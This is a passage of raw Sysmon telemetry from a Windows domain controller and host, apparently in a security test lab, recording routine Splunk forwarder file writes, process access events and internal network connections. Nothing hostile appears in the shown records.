Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000048001Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:21.798{7BD73061-719D-613B-330B-00000000F001}4928C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000048000Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:21.360{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8DB7FA31D045AF7F82D8CB4A5D41D071,SHA256=710A29027482812E9A9F6E01954138D00CEDE9074F593E48A8A6BC6120A4BBC4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015631Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:21.111{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8B83DEFE2E87575F3951320D225197A8,SHA256=15DFFCC7E747D2ACC868FB6A948680A852C4A78542563953B83AE38B04FCECC3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047999Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:21.219{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0E50AEEE1ADFE41D7D1976CBD082806E,SHA256=C1021B73C0AF6F7B0D64C77D00DEF6F557FFD120F50010B61E149FEDBAD33A65,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048010Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:22.797{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=64E8858FAB376F0285ECDB6D090A80B3,SHA256=B372374030A83065DA2897DCFBA5DF125C205E44961248CE0A28F73DC043534B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048009Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:22.391{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F95DA5FE8F1602F79459617144A64716,SHA256=8BF3EECCBBCC09A87791439DACB13C9913C70966828890FE07543A09F0BEBDE2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015632Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:22.143{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4CA3D37E44EE1184CC0DBA8BEC363760,SHA256=E749828B903AC23C74F9186D829BB4D3762577451365FB0BE3AB14D5D050D45C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048011Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:23.579{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BD0CDEBD0168D7C0F9B9D2AB98B1F6F7,SHA256=AA625091FB1163A961BE606506DA5ABD8223DFE1EFF3992FDAD16740CE425E9A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015633Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:23.174{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C1EEADA2112F452D93FF459F772F80DE,SHA256=4510B3E1DC85A4AC68B2CCED37CB1857EB1B3D77A31749E37CC9EB787E68DD7C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048012Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:24.594{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B5AE7279E2EA3FFA959502DBE8E24FC5,SHA256=43AAF281CE1EED3BD3A8CE8679C6F30EE6EA7A5D41CE2D64E11461C611E0CE06,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015635Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:23.465{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50239-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015634Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:24.205{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=44E46E249FB5E8B66E346C5B36A48C88,SHA256=B503A992E525E470D28BF590E63D8BF2371F6B75A5760EC3FACC742CE4C81A6A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048014Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:23.372{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59435-false10.0.1.12-8000- 23542300x800000000000000048013Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:25.610{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=11395184AC8880E68A3AEC15588BB751,SHA256=1C40F1D7C395FE33A14BE5058ACDC3E5FAEAD5EB2D5CD95D2AB8017790D978E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015636Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:25.236{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B4BF1C9374D73FF41481499F1B012FA1,SHA256=9E82911772B6E33706DF0F74870B2972F5899E06A1DCA78E356CE4E79D3604A2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048015Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:26.625{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2615A872A974557CF92A7FB759D056A0,SHA256=BB58E2B4147825A8F0189E900D28B6003C998A40D804E3BF828AF414694EB42A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015637Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:26.236{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=71C60B840FD5EE79B5817DDA5D6E2F36,SHA256=D341A6C1ECBA788761CBAC96C2395BCC43D5C2ADC152C83168D00B235F59D1CE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048016Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:27.625{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B7AAB5C13CDF3A8FD7DA286C9D511731,SHA256=B4FFF5F0A7C903002099CBFBBD75AB5E04D6E809D221E297A9025CA29C4DAEB7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015638Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:27.252{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F2FF9104C0E8E59A69630EAEB6E74B6B,SHA256=6996A2A2207F9D34E1F052098E12861EFF14482EB7A8576BEF4907EE65D25D23,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048017Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:28.641{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FB6F44E2F3F32354E17A66F9DAFBE8A1,SHA256=437095CFC32641143CF963199EEC8D1DC833AC1CE3EB7F58703A40A71CC1EF43,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015639Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:28.252{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CD9191160E6EA40C0DC4FEE47CA5DF61,SHA256=01BE8BE1ED385BDF94E546B338F74201A72EEB01C28CCB03DF95C35833EA38EF,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048019Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:29.735{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0EE49D8399F7C4A2CA9CD9041B8F89BD,SHA256=0D7B59CD414DC02746CE53DA288BF9277023E683C704746335D1A1D91DB6948A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015640Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:29.268{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5839CF4644BEDC66937C7223BEABAE4,SHA256=927DDB21E7E6EBFA0FE323D7D769940790E3C2CC600F339CF19F7795FAA9C2C6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048018Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:29.719{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048020Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:30.812{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7B21131DC87DB47B9ADA0567AD540CDA,SHA256=D4FE4DED73142185204E493B90873DB7A039DDB8E325194F75F4B8625BF75E20,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015642Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:30.283{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7A81AE2D895A48018903F5E7DF1E28A9,SHA256=D2E70D475D01B89CCD90505AEFEB96017C9A046E178D33066E6A8CF28C9759D4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015641Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:28.512{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50240-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000048023Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:54:31.828{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=55E81EF3F6775A7B8A77A149FA6F3624,SHA256=C9D08F052D9707C202C90E1FE3C2808177FF3D72AD60195D2E8FCD4B0ED19D34,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015656Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-71A7-613B-DB04-00000000F101}3984C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015655Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015654Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015653Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015652Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015651Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015650Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015649Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015648Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015647Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-71A7-613B-DB04-00000000F101}3984C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015646Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015645Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:54:31.735{625C326B-6879-613B-A400-00000000F101}20043924C:\Program 